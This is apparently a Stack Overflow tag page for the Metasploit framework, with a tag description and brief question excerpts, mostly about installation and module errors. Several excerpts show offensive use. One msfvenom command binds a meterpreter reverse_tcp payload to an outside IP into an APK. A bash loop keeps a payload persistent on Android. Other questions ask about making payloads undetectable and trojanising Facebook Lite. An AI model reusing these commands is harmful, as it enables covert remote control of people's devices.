Questions tagged [metasploit]

This tag is for questions about *programming* the Metasploit framework, not for using the framework or attacking a specific site.

The Metasploit Framework is an open-source project owned/sponsored by Rapid7 for vulnerability assessment, exploitation development, penetration testing, and many other computer and network security-related tasks.

Since version 3 of the Framework, Metasploit has been written primarily in Ruby. Version 2 and older were written in Perl. The various payloads, stagers, and shellcodes are primarily written in C, assembly, and Java.

Metasploit is developed on Github. Documentation and community forums are available on Rapid7's community site. Questions can also be asked in the #metasploit channel on Freenode.

If your question is about using Metasploit, rather than programming with it, then it should probably go on our sister site Information Security.

If your question is about attacking a specific system, such questions are off-topic on Stack Overflow. They are also off-topic on Information Security unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem.

Also, any issues resulting from using such tools without permission from the target are your own risk; we do not endorse such actions in any way.

228 questions
0
votes
1 answer

Metasploit Android encoder

I am using metasploit framework I have installed it on termux apk I was making a payload for Android I got to know that encoding helps in making a perfect and undectactable payload but I am unable to find a encoder for Android in search so which…
0
votes
1 answer

db_nmap metasploit using hosts in postgres database

I am using metasploit and attempting to run a db_nmap against all the hosts I imported from an nmap run that I saved into a .xml file. So all the hosts are in my metasploit postgres database as verified when I run the hosts command. However I am…
Bix
  • 760
  • 8
  • 22
0
votes
1 answer

How to solve this error in Bash using Android 11

I am triying to use this code on Android 11: #!/bin/bash while: do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 20 done The objetive of this code is to get a persistance paylaod with metasploit, but…
Cobra 444
  • 9
  • 2
0
votes
1 answer

How To Find MainActivity Of Facebook Lite Apk . Because It Was not Available In His Location

How do I find the MyActivity Smali file of Facebook Lite? It is not in the location given by APK tool. It is hidden.MainActivity is Required For Mannual Payload Binding Prossess.How can I find it? Please help.
0
votes
1 answer

metasploit couldnt find my new created modules

I created a new folder call ~/.msf6/modules/auxiliary/scanner/mssql first, and then I created a new ruby file call ihaz_sql.rb and here is the code require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL …
ppt
  • 1
  • 2
0
votes
2 answers

Metasploit Framework .go module can't be loaded

This is my first post, so I might get the format wrong.. Anyway, after searching for a solution online (which I could not find), I resorted to asking here. Upon launching my msfconsole a few days ago, I started getting all of these warnings/errors…
SPTLC
  • 1
  • 1
  • 1
0
votes
3 answers

Error with ruby version on termux when I try to install metasploit

I was installing metasploit with termux and it said: termux output ~ $ ls
metasploit-framework storage wiki-termux
~ $ cd metasploit-framework
~/metasploit-framework $ ruby msfconsole
Could not find Ascii85-1.1.0 in any of the…
0
votes
1 answer

How to know which class member function is called?

From https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smtp/smtp_version.rb#L26: class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp include Msf::Auxiliary::Scanner include…
user1424739
  • 11,937
  • 17
  • 63
  • 152
0
votes
1 answer

Error: Unable to rebuild apk with apktool

tried this many times └─# sudo msfvenom --arch dalvik --platform android -x test.apk -p android/meterpreter/reverse_tcp LHOST=193.161.193.99 LPORT=55383 -o test_payload.apk still getting error W: aapt: brut.common.BrutException:…
0
votes
1 answer

How to convert shellcode to readable assembly code/instructions?

How could I for instance convert the following windows…
pokkery98
  • 5
  • 1
  • 3
0
votes
1 answer

Errors when running the Telnet_Login Module for Metasplot

I am trying to telnet into a VLE (virtual lab environment) for a project, but I keep running into the same errors. Each time I try to run the module, I get a "The following options failed to validate: USER_FILE, PASS_FILE. I followed the steps…
Roosterx86
  • 1
  • 1
  • 2
0
votes
1 answer

Executing a Python Script with Metasploit

I am trying to run vulnerability testing for a class and the first line of code in the script is: from metasploit.msfrpc import MsfRpcClient However, when I try to run the program, I get "ModuleNotFoundError: No Module named 'metasploit'" I am…
tqader
  • 1
  • 1
0
votes
1 answer

Debug unicode msfvenom payload

I'd like to debug some msfvenom generated payload. I'm perfectly able to do it, when I generate the payload with "standard" encoding in this way: msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/alpha_mixed…
cips
  • 95
  • 1
  • 8
0
votes
1 answer

Being informed of new exploits

Is there any free/opensource repository or service for being informed of new exploits as soon as they are discovered ? We are using a WP site. Thanks,
Rénald
  • 1,412
  • 12
  • 29
0
votes
1 answer

Unable to use metasploit framework(I'm using windows 8.1)

Bundler could not find compatible versions for gem "bcrypt": In Gemfile: metasploit-framework x64-mingw32 was resolved to 5.0.102, which depends on bcrypt (=3.1.12) x64-mingw32 Could not find gem 'bcrypt (=3.1.12)', which is required by gem…